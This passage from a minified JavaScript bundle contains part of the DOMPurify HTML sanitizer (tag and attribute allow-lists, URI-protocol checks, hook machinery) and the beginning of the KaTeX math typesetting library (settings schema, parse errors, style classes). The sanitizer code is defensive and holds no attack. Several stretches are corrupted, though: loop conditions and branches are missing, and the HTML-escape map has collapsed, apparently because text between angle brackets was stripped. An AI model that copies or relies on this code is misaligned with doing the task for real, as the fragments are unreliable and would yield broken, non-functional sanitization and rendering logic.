]+/);Nt=yn&&yn[0]}Ke==="application/xhtml+xml"&&le===se&&(Se=''+Se+"");let wr=S?S.createHTML(Se):Se;if(le===se)try{at=new p().parseFromString(wr,Ke)}catch{}if(!at||!at.documentElement){at=k.createDocument(le,"template",null);try{at.documentElement.innerHTML=ke?w:wr}catch{}}let Tn=at.body||at.documentElement;return Se&&Nt&&Tn.insertBefore(r.createTextNode(Nt),Tn.childNodes[0]||null),le===se?R.call(at,Q?"html":"body")[0]:Q?at.documentElement:Tn},"_initDocument"),yt=o(function(Se){return A.call(Se.ownerDocument||Se,Se,h.SHOW_ELEMENT|h.SHOW_COMMENT|h.SHOW_TEXT|h.SHOW_PROCESSING_INSTRUCTION|h.SHOW_CDATA_SECTION,null)},"_createNodeIterator"),ft=o(function(Se){return Se instanceof d&&(typeof Se.nodeName!="string"||typeof Se.textContent!="string"||typeof Se.removeChild!="function"||!(Se.attributes instanceof f)||typeof Se.removeAttribute!="function"||typeof Se.setAttribute!="function"||typeof Se.namespaceURI!="string"||typeof Se.insertBefore!="function"||typeof Se.hasChildNodes!="function")},"_isClobbered"),Ur=o(function(Se){return typeof l=="function"&&Se instanceof l},"_isNode");function _t(Ct,Se,at){i3(Ct,Nt=>{Nt.call(e,Se,at,et)})}o(_t,"_executeHooks");let bn=o(function(Se){let at=null;if(_t(L.beforeSanitizeElements,Se,null),ft(Se))return nt(Se),!0;let Nt=Oe(Se.nodeName);if(_t(L.uponSanitizeElement,Se,{tagName:Nt,allowedTags:$}),ae&&Se.hasChildNodes()&&!Ur(Se.firstElementChild)&&Qa(/<[/\w!]/g,Se.innerHTML)&&Qa(/<[/\w!]/g,Se.textContent)||Se.nodeType===Vy.progressingInstruction||ae&&Se.nodeType===Vy.comment&&Qa(/<[/\w]/g,Se.data))return nt(Se),!0;if(!$[Nt]||oe[Nt]){if(!oe[Nt]&&cr(Nt)&&(Y.tagNameCheck instanceof RegExp&&Qa(Y.tagNameCheck,Nt)||Y.tagNameCheck instanceof Function&&Y.tagNameCheck(Nt)))return!1;if(He&&!Ne[Nt]){let wr=T(Se)||Se.parentNode,Tn=b(Se)||Se.childNodes;if(Tn&&wr){let yn=Tn.length;for(let sn=yn-1;sn>=0;--sn){let Hi=y(Tn[sn],!0);Hi.__removalCount=(Se.__removalCount||0)+1,wr.insertBefore(Hi,x(Se))}}}return nt(Se),!0}return Se instanceof u&&!dt(Se)||(Nt==="noscript"||Nt==="noembed"||Nt==="noframes")&&Qa(/<\/no(script|embed|frames)/i,Se.innerHTML)?(nt(Se),!0):(K&&Se.nodeType===Vy.text&&(at=Se.textContent,i3([E,D,_],wr=>{at=$y(at,wr," ")}),Se.textContent!==at&&(Fy(e.removed,{element:Se.cloneNode()}),Se.textContent=at)),_t(L.afterSanitizeElements,Se,null),!1)},"_sanitizeElements"),Br=o(function(Se,at,Nt){if(pe&&(at==="id"||at==="name")&&(Nt in r||Nt in Ue))return!1;if(!(re&&!J[at]&&Qa(O,at))){if(!(ue&&Qa(M,at))){if(!j[at]||J[at]){if(!(cr(Se)&&(Y.tagNameCheck instanceof RegExp&&Qa(Y.tagNameCheck,Se)||Y.tagNameCheck instanceof Function&&Y.tagNameCheck(Se))&&(Y.attributeNameCheck instanceof RegExp&&Qa(Y.attributeNameCheck,at)||Y.attributeNameCheck instanceof Function&&Y.attributeNameCheck(at))||at==="is"&&Y.allowCustomizedBuiltInElements&&(Y.tagNameCheck instanceof RegExp&&Qa(Y.tagNameCheck,Nt)||Y.tagNameCheck instanceof Function&&Y.tagNameCheck(Nt))))return!1}else if(!xe[at]){if(!Qa(G,$y(Nt,B,""))){if(!((at==="src"||at==="xlink:href"||at==="href")&&Se!=="script"&&D5e(Nt,"data:")===0&&Fe[Se])){if(!(ee&&!Qa(P,$y(Nt,B,"")))){if(Nt)return!1}}}}}}return!0},"_isValidAttribute"),cr=o(function(Se){return Se!=="annotation-xml"&&nV(Se,F)},"_isBasicCustomElement"),ar=o(function(Se){_t(L.beforeSanitizeAttributes,Se,null);let{attributes:at}=Se;if(!at||ft(Se))return;let Nt={attrName:"",attrValue:"",keepAttr:!0,allowedAttributes:j,forceKeepAttr:void 0},wr=at.length;for(;wr--;){let Tn=at[wr],{name:yn,namespaceURI:sn,value:Hi}=Tn,Zs=Oe(yn),_a=Hi,fr=yn==="value"?_a:L5e(_a);if(Nt.attrName=Zs,Nt.attrValue=fr,Nt.keepAttr=!0,Nt.forceKeepAttr=void 0,_t(L.uponSanitizeAttribute,Se,Nt),fr=Nt.attrValue,Be&&(Zs==="id"||Zs==="name")&&(bt(yn,Se),fr=Ye+fr),ae&&Qa(/((--!?|])>)|<\/(style|title)/i,fr)){bt(yn,Se);continue}if(Nt.forceKeepAttr)continue;if(!Nt.keepAttr){bt(yn,Se);continue}if(!Z&&Qa(/\/>/i,fr)){bt(yn,Se);continue}K&&i3([E,D,_],kt=>{fr=$y(fr,kt," ")});let it=Oe(Se.nodeName);if(!Br(it,Zs,fr)){bt(yn,Se);continue}if(S&&typeof m=="object"&&typeof m.getAttributeType=="function"&&!sn)switch(m.getAttributeType(it,Zs)){case"TrustedHTML":{fr=S.createHTML(fr);break}case"TrustedScriptURL":{fr=S.createScriptURL(fr);break}}if(fr!==_a)try{sn?Se.setAttributeNS(sn,yn,fr):Se.setAttribute(yn,fr),ft(Se)?nt(Se):rV(e.removed)}catch{bt(yn,Se)}}_t(L.afterSanitizeAttributes,Se,null)},"_sanitizeAttributes"),_r=o(function Ct(Se){let at=null,Nt=yt(Se);for(_t(L.beforeSanitizeShadowDOM,Se,null);at=Nt.nextNode();)_t(L.uponSanitizeShadowNode,at,null),bn(at),ar(at),at.content instanceof a&&Ct(at.content);_t(L.afterSanitizeShadowDOM,Se,null)},"_sanitizeShadowDOM");return e.sanitize=function(Ct){let Se=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},at=null,Nt=null,wr=null,Tn=null;if(ke=!Ct,ke&&(Ct=""),typeof Ct!="string"&&!Ur(Ct))if(typeof Ct.toString=="function"){if(Ct=Ct.toString(),typeof Ct!="string")throw zy("dirty is not a string, aborting")}else throw zy("toString is not a function");if(!e.isSupported)return Ct;if(de||Gt(Se),e.removed=[],typeof Ct=="string"&&(Le=!1),Le){if(Ct.nodeName){let Hi=Oe(Ct.nodeName);if(!$[Hi]||oe[Hi])throw zy("root node is forbidden and cannot be sanitized in-place")}}else if(Ct instanceof l)at=wt(""),Nt=at.ownerDocument.importNode(Ct,!0),Nt.nodeType===Vy.element&&Nt.nodeName==="BODY"||Nt.nodeName==="HTML"?at=Nt:at.appendChild(Nt);else{if(!Te&&!K&&!Q&&Ct.indexOf("<")===-1)return S&&Ve?S.createHTML(Ct):Ct;if(at=wt(Ct),!at)return Te?null:Ve?w:""}at&&ne&&nt(at.firstChild);let yn=yt(Le?Ct:at);for(;wr=yn.nextNode();)bn(wr),ar(wr),wr.content instanceof a&&_r(wr.content);if(Le)return Ct;if(Te){if(q)for(Tn=C.call(at.ownerDocument);at.firstChild;)Tn.appendChild(at.firstChild);else Tn=at;return(j.shadowroot||j.shadowrootmode)&&(Tn=I.call(n,Tn,!0)),Tn}let sn=Q?at.outerHTML:at.innerHTML;return Q&&$["!doctype"]&&at.ownerDocument&&at.ownerDocument.doctype&&at.ownerDocument.doctype.name&&Qa(dV,at.ownerDocument.doctype.name)&&(sn=" +`+sn),K&&i3([E,D,_],Hi=>{sn=$y(sn,Hi," ")}),S&&Ve?S.createHTML(sn):sn},e.setConfig=function(){let Ct=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};Gt(Ct),de=!0},e.clearConfig=function(){et=null,de=!1},e.isValidAttribute=function(Ct,Se,at){et||Gt({});let Nt=Oe(Ct),wr=Oe(Se);return Br(Nt,wr,at)},e.addHook=function(Ct,Se){typeof Se=="function"&&Fy(L[Ct],Se)},e.removeHook=function(Ct,Se){if(Se!==void 0){let at=A5e(L[Ct],Se);return at===-1?void 0:_5e(L[Ct],at,1)[0]}return rV(L[Ct])},e.removeHooks=function(Ct){L[Ct]=[]},e.removeAllHooks=function(){L=cV()},e}var uV,tV,E5e,S5e,C5e,Za,Co,hV,M7,I7,i3,A5e,rV,Fy,_5e,s3,_7,nV,$y,D5e,L5e,hl,Qa,zy,iV,D7,L7,M5e,R7,I5e,aV,sV,N7,oV,a3,O5e,P5e,B5e,F5e,$5e,fV,z5e,G5e,dV,V5e,lV,Vy,U5e,H5e,cV,yh,O7=N(()=>{"use strict";({entries:uV,setPrototypeOf:tV,isFrozen:E5e,getPrototypeOf:S5e,getOwnPropertyDescriptor:C5e}=Object),{freeze:Za,seal:Co,create:hV}=Object,{apply:M7,construct:I7}=typeof Reflect<"u"&&Reflect;Za||(Za=o(function(e){return e},"freeze"));Co||(Co=o(function(e){return e},"seal"));M7||(M7=o(function(e,r,n){return e.apply(r,n)},"apply"));I7||(I7=o(function(e,r){return new e(...r)},"construct"));i3=Ja(Array.prototype.forEach),A5e=Ja(Array.prototype.lastIndexOf),rV=Ja(Array.prototype.pop),Fy=Ja(Array.prototype.push),_5e=Ja(Array.prototype.splice),s3=Ja(String.prototype.toLowerCase),_7=Ja(String.prototype.toString),nV=Ja(String.prototype.match),$y=Ja(String.prototype.replace),D5e=Ja(String.prototype.indexOf),L5e=Ja(String.prototype.trim),hl=Ja(Object.prototype.hasOwnProperty),Qa=Ja(RegExp.prototype.test),zy=R5e(TypeError);o(Ja,"unapply");o(R5e,"unconstruct");o(Nr,"addToSet");o(N5e,"cleanArray");o(lu,"clone");o(Gy,"lookupGetter");iV=Za(["a","abbr","acronym","address","area","article","aside","audio","b","bdi","bdo","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","content","data","datalist","dd","decorator","del","details","dfn","dialog","dir","div","dl","dt","element","em","fieldset","figcaption","figure","font","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","img","input","ins","kbd","label","legend","li","main","map","mark","marquee","menu","menuitem","meter","nav","nobr","ol","optgroup","option","output","p","picture","pre","progress","q","rp","rt","ruby","s","samp","section","select","shadow","small","source","spacer","span","strike","strong","style","sub","summary","sup","table","tbody","td","template","textarea","tfoot","th","thead","time","tr","track","tt","u","ul","var","video","wbr"]),D7=Za(["svg","a","altglyph","altglyphdef","altglyphitem","animatecolor","animatemotion","animatetransform","circle","clippath","defs","desc","ellipse","filter","font","g","glyph","glyphref","hkern","image","line","lineargradient","marker","mask","metadata","mpath","path","pattern","polygon","polyline","radialgradient","rect","stop","style","switch","symbol","text","textpath","title","tref","tspan","view","vkern"]),L7=Za(["feBlend","feColorMatrix","feComponentTransfer","feComposite","feConvolveMatrix","feDiffuseLighting","feDisplacementMap","feDistantLight","feDropShadow","feFlood","feFuncA","feFuncB","feFuncG","feFuncR","feGaussianBlur","feImage","feMerge","feMergeNode","feMorphology","feOffset","fePointLight","feSpecularLighting","feSpotLight","feTile","feTurbulence"]),M5e=Za(["animate","color-profile","cursor","discard","font-face","font-face-format","font-face-name","font-face-src","font-face-uri","foreignobject","hatch","hatchpath","mesh","meshgradient","meshpatch","meshrow","missing-glyph","script","set","solidcolor","unknown","use"]),R7=Za(["math","menclose","merror","mfenced","mfrac","mglyph","mi","mlabeledtr","mmultiscripts","mn","mo","mover","mpadded","mphantom","mroot","mrow","ms","mspace","msqrt","mstyle","msub","msup","msubsup","mtable","mtd","mtext","mtr","munder","munderover","mprescripts"]),I5e=Za(["maction","maligngroup","malignmark","mlongdiv","mscarries","mscarry","msgroup","mstack","msline","msrow","semantics","annotation","annotation-xml","mprescripts","none"]),aV=Za(["#text"]),sV=Za(["accept","action","align","alt","autocapitalize","autocomplete","autopictureinpicture","autoplay","background","bgcolor","border","capture","cellpadding","cellspacing","checked","cite","class","clear","color","cols","colspan","controls","controlslist","coords","crossorigin","datetime","decoding","default","dir","disabled","disablepictureinpicture","disableremoteplayback","download","draggable","enctype","enterkeyhint","face","for","headers","height","hidden","high","href","hreflang","id","inputmode","integrity","ismap","kind","label","lang","list","loading","loop","low","max","maxlength","media","method","min","minlength","multiple","muted","name","nonce","noshade","novalidate","nowrap","open","optimum","pattern","placeholder","playsinline","popover","popovertarget","popovertargetaction","poster","preload","pubdate","radiogroup","readonly","rel","required","rev","reversed","role","rows","rowspan","spellcheck","scope","selected","shape","size","sizes","span","srclang","start","src","srcset","step","style","summary","tabindex","title","translate","type","usemap","valign","value","width","wrap","xmlns","slot"]),N7=Za(["accent-height","accumulate","additive","alignment-baseline","amplitude","ascent","attributename","attributetype","azimuth","basefrequency","baseline-shift","begin","bias","by","class","clip","clippathunits","clip-path","clip-rule","color","color-interpolation","color-interpolation-filters","color-profile","color-rendering","cx","cy","d","dx","dy","diffuseconstant","direction","display","divisor","dur","edgemode","elevation","end","exponent","fill","fill-opacity","fill-rule","filter","filterunits","flood-color","flood-opacity","font-family","font-size","font-size-adjust","font-stretch","font-style","font-variant","font-weight","fx","fy","g1","g2","glyph-name","glyphref","gradientunits","gradienttransform","height","href","id","image-rendering","in","in2","intercept","k","k1","k2","k3","k4","kerning","keypoints","keysplines","keytimes","lang","lengthadjust","letter-spacing","kernelmatrix","kernelunitlength","lighting-color","local","marker-end","marker-mid","marker-start","markerheight","markerunits","markerwidth","maskcontentunits","maskunits","max","mask","media","method","mode","min","name","numoctaves","offset","operator","opacity","order","orient","orientation","origin","overflow","paint-order","path","pathlength","patterncontentunits","patterntransform","patternunits","points","preservealpha","preserveaspectratio","primitiveunits","r","rx","ry","radius","refx","refy","repeatcount","repeatdur","restart","result","rotate","scale","seed","shape-rendering","slope","specularconstant","specularexponent","spreadmethod","startoffset","stddeviation","stitchtiles","stop-color","stop-opacity","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke","stroke-width","style","surfacescale","systemlanguage","tabindex","tablevalues","targetx","targety","transform","transform-origin","text-anchor","text-decoration","text-rendering","textlength","type","u1","u2","unicode","values","viewbox","visibility","version","vert-adv-y","vert-origin-x","vert-origin-y","width","word-spacing","wrap","writing-mode","xchannelselector","ychannelselector","x","x1","x2","xmlns","y","y1","y2","z","zoomandpan"]),oV=Za(["accent","accentunder","align","bevelled","close","columnsalign","columnlines","columnspan","denomalign","depth","dir","display","displaystyle","encoding","fence","frame","height","href","id","largeop","length","linethickness","lspace","lquote","mathbackground","mathcolor","mathsize","mathvariant","maxsize","minsize","movablelimits","notation","numalign","open","rowalign","rowlines","rowspacing","rowspan","rspace","rquote","scriptlevel","scriptminsize","scriptsizemultiplier","selection","separator","separators","stretchy","subscriptshift","supscriptshift","symmetric","voffset","width","xmlns"]),a3=Za(["xlink:href","xml:id","xlink:title","xml:space","xmlns:xlink"]),O5e=Co(/\{\{[\w\W]*|[\w\W]*\}\}/gm),P5e=Co(/<%[\w\W]*|[\w\W]*%>/gm),B5e=Co(/\$\{[\w\W]*/gm),F5e=Co(/^data-[\-\w.\u00B7-\uFFFF]+$/),$5e=Co(/^aria-[\-\w]+$/),fV=Co(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i),z5e=Co(/^(?:\w+script|data):/i),G5e=Co(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g),dV=Co(/^html$/i),V5e=Co(/^[a-z][.\w]*(-[.\w]+)+$/i),lV=Object.freeze({__proto__:null,ARIA_ATTR:$5e,ATTR_WHITESPACE:G5e,CUSTOM_ELEMENT:V5e,DATA_ATTR:F5e,DOCTYPE_NAME:dV,ERB_EXPR:P5e,IS_ALLOWED_URI:fV,IS_SCRIPT_OR_DATA:z5e,MUSTACHE_EXPR:O5e,TMPLIT_EXPR:B5e}),Vy={element:1,attribute:2,text:3,cdataSection:4,entityReference:5,entityNode:6,progressingInstruction:7,comment:8,document:9,documentType:10,documentFragment:11,notation:12},U5e=o(function(){return typeof window>"u"?null:window},"getGlobal"),H5e=o(function(e,r){if(typeof e!="object"||typeof e.createPolicy!="function")return null;let n=null,i="data-tt-policy-suffix";r&&r.hasAttribute(i)&&(n=r.getAttribute(i));let a="dompurify"+(n?"#"+n:"");try{return e.createPolicy(a,{createHTML(s){return s},createScriptURL(s){return s}})}catch{return console.warn("TrustedTypes policy "+a+" could not be created."),null}},"_createTrustedTypesPolicy"),cV=o(function(){return{afterSanitizeAttributes:[],afterSanitizeElements:[],afterSanitizeShadowDOM:[],beforeSanitizeAttributes:[],beforeSanitizeElements:[],beforeSanitizeShadowDOM:[],uponSanitizeAttribute:[],uponSanitizeElement:[],uponSanitizeShadowNode:[]}},"_createHooksMap");o(pV,"createDOMPurify");yh=pV()});var WU={};dr(WU,{ParseError:()=>gt,SETTINGS_SCHEMA:()=>Wy,__defineFunction:()=>Mt,__defineMacro:()=>ce,__defineSymbol:()=>V,__domTree:()=>qU,__parse:()=>GU,__renderToDomTree:()=>M3,__renderToHTMLTree:()=>UU,__setFontMetrics:()=>XV,default:()=>Owe,render:()=>EA,renderToString:()=>zU,version:()=>HU});function Q5e(t){return String(t).replace(K5e,e=>j5e[e])}function tTe(t){if(t.default)return t.default;var e=t.type,r=Array.isArray(e)?e[0]:e;if(typeof r!="string")return r.enum[0];switch(r){case"boolean":return!1;case"string":return"";case"number":return 0;case"object":return{}}}function lTe(t){for(var e=0;e=i[0]&&t<=i[1])return r.name}return null}function YV(t){for(var e=0;e=v3[e]&&t<=v3[e+1])return!0;return!1}function XV(t,e){Ql[t]=e}function lA(t,e,r){if(!Ql[e])throw new Error("Font metrics not found for font: "+e+".");var n=t.charCodeAt(0),i=Ql[e][n];if(!i&&t[0]in gV&&(n=gV[t[0]].charCodeAt(0),i=Ql[e][n]),!i&&r==="text"&&YV(n)&&(i=Ql[e][77]),i)return{depth:i[0],height:i[1],italic:i[2],skew:i[3],width:i[4]}}function xTe(t){var e;if(t>=5?e=0:t>=3?e=1:e=2,!P7[e]){var r=P7[e]={cssEmPerMu:o3.quad[e]/18};for(var n in o3)o3.hasOwnProperty(n)&&(r[n]=o3[n][e])}return P7[e]}function xV(t){if(t instanceof Cs)return t;throw new Error("Expected symbolNode but got "+String(t)+".")}function ETe(t){if(t instanceof fd)return t;throw new Error("Expected span but got "+String(t)+".")}function V(t,e,r,n,i,a){Nn[t][i]={font:e,group:r,replace:n},a&&n&&(Nn[t][n]=Nn[t][i])}function Mt(t){for(var{type:e,names:r,props:n,handler:i,htmlBuilder:a,mathmlBuilder:s}=t,l={type:e,numArgs:n.numArgs,argTypes:n.argTypes,allowedInArgument:!!n.allowedInArgument,allowedInText:!!n.allowedInText,allowedInMath:n.allowedInMath===void 0?!0:n.allowedInMath,numOptionalArgs:n.numOptionalArgs||0,infix:!!n.infix,primitive:!!n.primitive,handler:i},u=0;u0&&(a.push(p3(s,e)),s=[]),a.push(n[l]));s.length>0&&a.push(p3(s,e));var h;r?(h=p3(Ii(r,e,!0)),h.classes=["tag"],a.push(h)):i&&a.push(i);var f=du(["katex-html"],a);if(f.setAttribute("aria-hidden","true"),h){var d=h.children[0];d.style.height=St(f.height+f.depth),f.depth&&(d.style.verticalAlign=St(-f.depth))}return f}function sU(t){return new hd(t)}function $7(t){if(!t)return!1;if(t.type==="mi"&&t.children.length===1){var e=t.children[0];return e instanceof _o&&e.text==="."}else if(t.type==="mo"&&t.children.length===1&&t.getAttribute("separator")==="true"&&t.getAttribute("lspace")==="0em"&&t.getAttribute("rspace")==="0em"){var r=t.children[0];return r instanceof _o&&r.text===","}else return!1}function EV(t,e,r,n,i){var a=As(t,r),s;a.length===1&&a[0]instanceof es&&er.contains(["mrow","mtable"],a[0].type)?s=a[0]:s=new mt.MathNode("mrow",a);var l=new mt.MathNode("annotation",[new mt.TextNode(e)]);l.setAttribute("encoding","application/x-tex");var u=new mt.MathNode("semantics",[s,l]),h=new mt.MathNode("math",[u]);h.setAttribute("xmlns","http://www.w3.org/1998/Math/MathML"),n&&h.setAttribute("display","block");var f=i?"katex":"katex-mathml";return $e.makeSpan([f],[h])}function Tr(t,e){if(!t||t.type!==e)throw new Error("Expected node of type "+e+", but got "+(t?"node of type "+t.type:String(t)));return t}function fA(t){var e=D3(t);if(!e)throw new Error("Expected node of symbol group type, but got "+(t?"node of type "+t.type:String(t)));return e}function D3(t){return t&&(t.type==="atom"||CTe.hasOwnProperty(t.type))?t:null}function uU(t,e){var r=Ii(t.body,e,!0);return rwe([t.mclass],r,e)}function hU(t,e){var r,n=As(t.body,e);return t.mclass==="minner"?r=new mt.MathNode("mpadded",n):t.mclass==="mord"?t.isCharacterBox?(r=n[0],r.type="mi"):r=new mt.MathNode("mi",n):(t.isCharacterBox?(r=n[0],r.type="mo"):r=new mt.MathNode("mo",n),t.mclass==="mbin"?(r.attributes.lspace="0.22em",r.attributes.rspace="0.22em"):t.mclass==="mpunct"?(r.attributes.lspace="0em",r.attributes.rspace="0.17em"):t.mclass==="mopen"||t.mclass==="mclose"?(r.attributes.lspace="0em",r.attributes.rspace="0em"):t.mclass==="minner"&&(r.attributes.lspace="0.0556em",r.attributes.width="+0.1111em")),r}function awe(t,e,r){var n=nwe[t];switch(n){case"\\\\cdrightarrow":case"\\\\cdleftarrow":return r.callFunction(n,[e[0]],[e[1]]);case"\\uparrow":case"\\downarrow":{var i=r.callFunction("\\\\cdleft",[e[0]],[]),a={type:"atom",text:n,mode:"math",family:"rel"},s=r.callFunction("\\Big",[a],[]),l=r.callFunction("\\\\cdright",[e[1]],[]),u={type:"ordgroup",mode:"math",body:[i,s,l]};return r.callFunction("\\\\cdparent",[u],[])}case"\\\\cdlongequal":return r.callFunction("\\\\cdlongequal",[],[]);case"\\Vert":{var h={type:"textord",text:"\\Vert",mode:"math"};return r.callFunction("\\Big",[h],[])}default:return{type:"textord",text:" ",mode:"math"}}}function swe(t){var e=[];for(t.gullet.beginGroup(),t.gullet.macros.set("\\cr","\\\\\\relax"),t.gullet.beginGroup();;){e.push(t.parseExpression(!1,"\\\\")),t.gullet.endGroup(),t.gullet.beginGroup();var r=t.fetch().text;if(r==="&"||r==="\\\\")t.consume();else if(r==="\\end"){e[e.length-1].length===0&&e.pop();break}else throw new gt("Expected \\\\ or \\cr or \\end",t.nextToken)}for(var n=[],i=[n],a=0;a-1))if("<>AV".indexOf(h)>-1)for(var d=0;d<2;d++){for(var p=!0,m=u+1;mAV=|." after @',s[u]);var g=awe(h,f,t),y={type:"styling",body:[g],mode:"math",style:"display"};n.push(y),l=SV()}a%2===0?n.push(l):n.shift(),n=[],i.push(n)}t.gullet.endGroup(),t.gullet.endGroup();var v=new Array(i[0].length).fill({type:"align",align:"c",pregap:.25,postgap:.25});return{type:"array",mode:"math",body:i,arraystretch:1,addJot:!0,rowGaps:[null],cols:v,colSeparationType:"CD",hLinesBeforeRow:new Array(i.length+1).fill([])}}function R3(t,e){var r=D3(t);if(r&&er.contains(xwe,r.text))return r;throw r?new gt("Invalid delimiter '"+r.text+"' after '"+e.funcName+"'",t):new gt("Invalid delimiter type '"+t.type+"'",t)}function _V(t){if(!t.body)throw new Error("Bug: The leftright ParseNode wasn't fully parsed.")}function Jl(t){for(var{type:e,names:r,props:n,handler:i,htmlBuilder:a,mathmlBuilder:s}=t,l={type:e,numArgs:n.numArgs||0,allowedInText:!1,numOptionalArgs:0,handler:i},u=0;u1||!f)&&y.pop(),x.length{"use strict";to=class t{static{o(this,"SourceLocation")}constructor(e,r,n){this.lexer=void 0,this.start=void 0,this.end=void 0,this.lexer=e,this.start=r,this.end=n}static range(e,r){return r?!e||!e.loc||!r.loc||e.loc.lexer!==r.loc.lexer?null:new t(e.loc.lexer,e.loc.start,r.loc.end):e&&e.loc}},Do=class t{static{o(this,"Token")}constructor(e,r){this.text=void 0,this.loc=void 0,this.noexpand=void 0,this.treatAsRelax=void 0,this.text=e,this.loc=r}range(e,r){return new t(r,to.range(this,e))}},gt=class t{static{o(this,"ParseError")}constructor(e,r){this.name=void 0,this.position=void 0,this.length=void 0,this.rawMessage=void 0;var n="KaTeX parse error: "+e,i,a,s=r&&r.loc;if(s&&s.start<=s.end){var l=s.lexer.input;i=s.start,a=s.end,i===l.length?n+=" at end of input: ":n+=" at position "+(i+1)+": ";var u=l.slice(i,a).replace(/[^]/g,"$&\u0332"),h;i>15?h="\u2026"+l.slice(i-15,i):h=l.slice(0,i);var f;a+15":">","<":"<",'"':""","'":"'"},K5e=/[&><"']/g;o(Q5e,"escape");WV=o(function t(e){return e.type==="ordgroup"||e.type==="color"?e.body.length===1?t(e.body[0]):e:e.type==="font"?t(e.body):e},"getBaseElem"),Z5e=o(function(e){var r=WV(e);return r.type==="mathord"||r.type==="textord"||r.type==="atom"},"isCharacterBox"),J5e=o(function(e){if(!e)throw new Error("Expected non-null, but got "+String(e));return e},"assert"),eTe=o(function(e){var r=/^[\x00-\x20]*([^\\/#?]*?)(:|�*58|�*3a|&colon)/i.exec(e);return r?r[2]!==":"||!/^[a-zA-Z][a-zA-Z0-9+\-.]*$/.test(r[1])?null:r[1].toLowerCase():"_relative"},"protocolFromUrl"),er={contains:q5e,deflt:W5e,escape:Q5e,hyphenate:X5e,getBaseElem:WV,isCharacterBox:Z5e,protocolFromUrl:eTe},Wy={displayMode:{type:"boolean",description:"Render math in display mode, which puts the math in display style (so \\int and \\sum are large, for example), and centers the math on the page on its own line.",cli:"-d, --display-mode"},output:{type:{enum:["htmlAndMathml","html","mathml"]},description:"Determines the markup language of the output.",cli:"-F, --format "},leqno:{type:"boolean",description:"Render display math in leqno style (left-justified tags)."},fleqn:{type:"boolean",description:"Render display math flush left."},throwOnError:{type:"boolean",default:!0,cli:"-t, --no-throw-on-error",cliDescription:"Render errors (in the color given by --error-color) instead of throwing a ParseError exception when encountering an error."},errorColor:{type:"string",default:"#cc0000",cli:"-c, --error-color ",cliDescription:"A color string given in the format 'rgb' or 'rrggbb' (no #). This option determines the color of errors rendered by the -t option.",cliProcessor:o(t=>"#"+t,"cliProcessor")},macros:{type:"object",cli:"-m, --macro ",cliDescription:"Define custom macro of the form '\\foo:expansion' (use multiple -m arguments for multiple macros).",cliDefault:[],cliProcessor:o((t,e)=>(e.push(t),e),"cliProcessor")},minRuleThickness:{type:"number",description:"Specifies a minimum thickness, in ems, for fraction lines, `\\sqrt` top lines, `{array}` vertical lines, `\\hline`, `\\hdashline`, `\\underline`, `\\overline`, and the borders of `\\fbox`, `\\boxed`, and `\\fcolorbox`.",processor:o(t=>Math.max(0,t),"processor"),cli:"--min-rule-thickness ",cliProcessor:parseFloat},colorIsTextColor:{type:"boolean",description:"Makes \\color behave like LaTeX's 2-argument \\textcolor, instead of LaTeX's one-argument \\color mode change.",cli:"-b, --color-is-text-color"},strict:{type:[{enum:["warn","ignore","error"]},"boolean","function"],description:"Turn on strict / LaTeX faithfulness mode, which throws an error if the input uses features that are not supported by LaTeX.",cli:"-S, --strict",cliDefault:!1},trust:{type:["boolean","function"],description:"Trust the input, enabling all HTML features such as \\url.",cli:"-T, --trust"},maxSize:{type:"number",default:1/0,description:"If non-zero, all user-specified sizes, e.g. in \\rule{500em}{500em}, will be capped to maxSize ems. Otherwise, elements and spaces can be arbitrarily large",processor:o(t=>Math.max(0,t),"processor"),cli:"-s, --max-size ",cliProcessor:parseInt},maxExpand:{type:"number",default:1e3,description:"Limit the number of macro expansions to the specified number, to prevent e.g. infinite macro loops. If set to Infinity, the macro expander will try to fully expand as in LaTeX.",processor:o(t=>Math.max(0,t),"processor"),cli:"-e, --max-expand ",cliProcessor:o(t=>t==="Infinity"?1/0:parseInt(t),"cliProcessor")},globalGroup:{type:"boolean",cli:!1}};o(tTe,"getDefaultValue");Xy=class{static{o(this,"Settings")}constructor(e){this.displayMode=void 0,this.output=void 0,this.leqno=void 0,this.fleqn=void 0,this.throwOnError=void 0,this.errorColor=void 0,this.macros=void 0,this.minRuleThickness=void 0,this.colorIsTextColor=void 0,this.strict=void 0,this.trust=void 0,this.maxSize=void 0,this.maxExpand=void 0,this.globalGroup=void 0,e=e||{};for(var r in Wy)if(Wy.hasOwnProperty(r)){var n=Wy[r];this[r]=e[r]!==void 0?n.processor?n.processor(e[r]):e[r]:tTe(n)}}reportNonstrict(e,r,n){var i=this.strict;if(typeof i=="function"&&(i=i(e,r,n)),!(!i||i==="ignore")){if(i===!0||i==="error")throw new gt("LaTeX-incompatible input and strict mode is set to 'error': "+(r+" ["+e+"]"),n);i==="warn"?typeof console<"u"&&console.warn("LaTeX-incompatible input and strict mode is set to 'warn': "+(r+" ["+e+"]")):typeof console<"u"&&console.warn("LaTeX-incompatible input and strict mode is set to "+("unrecognized '"+i+"': "+r+" ["+e+"]"))}}useStrictBehavior(e,r,n){var i=this.strict;if(typeof i=="function")try{i=i(e,r,n)}catch{i="error"}return!i||i==="ignore"?!1:i===!0||i==="error"?!0:i==="warn"?(typeof console<"u"&&console.warn("LaTeX-incompatible input and strict mode is set to 'warn': "+(r+" ["+e+"]")),!1):(typeof console<"u"&&console.warn("LaTeX-incompatible input and strict mode is set to "+("unrecognized '"+i+"': "+r+" ["+e+"]")),!1)}isTrusted(e){if(e.url&&!e.protocol){var r=er.protocolFromUrl(e.url);if(r==null)return!1;e.protocol=r}var n=typeof this.trust=="function"?this.trust(e):this.trust;return!!n}},jl=class{static{o(this,"Style")}constructor(e,r,n){this.id=void 0,this.size=void 0,this.cramped=void 0,this.id=e,this.size=r,this.cramped=n}sup(){return Kl[rTe[this.id]]}sub(){return Kl[nTe[this.id]]}fracNum(){return Kl[iTe[this.id]]}fracDen(){return Kl[aTe[this.id]]}cramp(){return Kl[sTe[this.id]]}text(){return Kl[oTe[this.id]]}isTight(){return 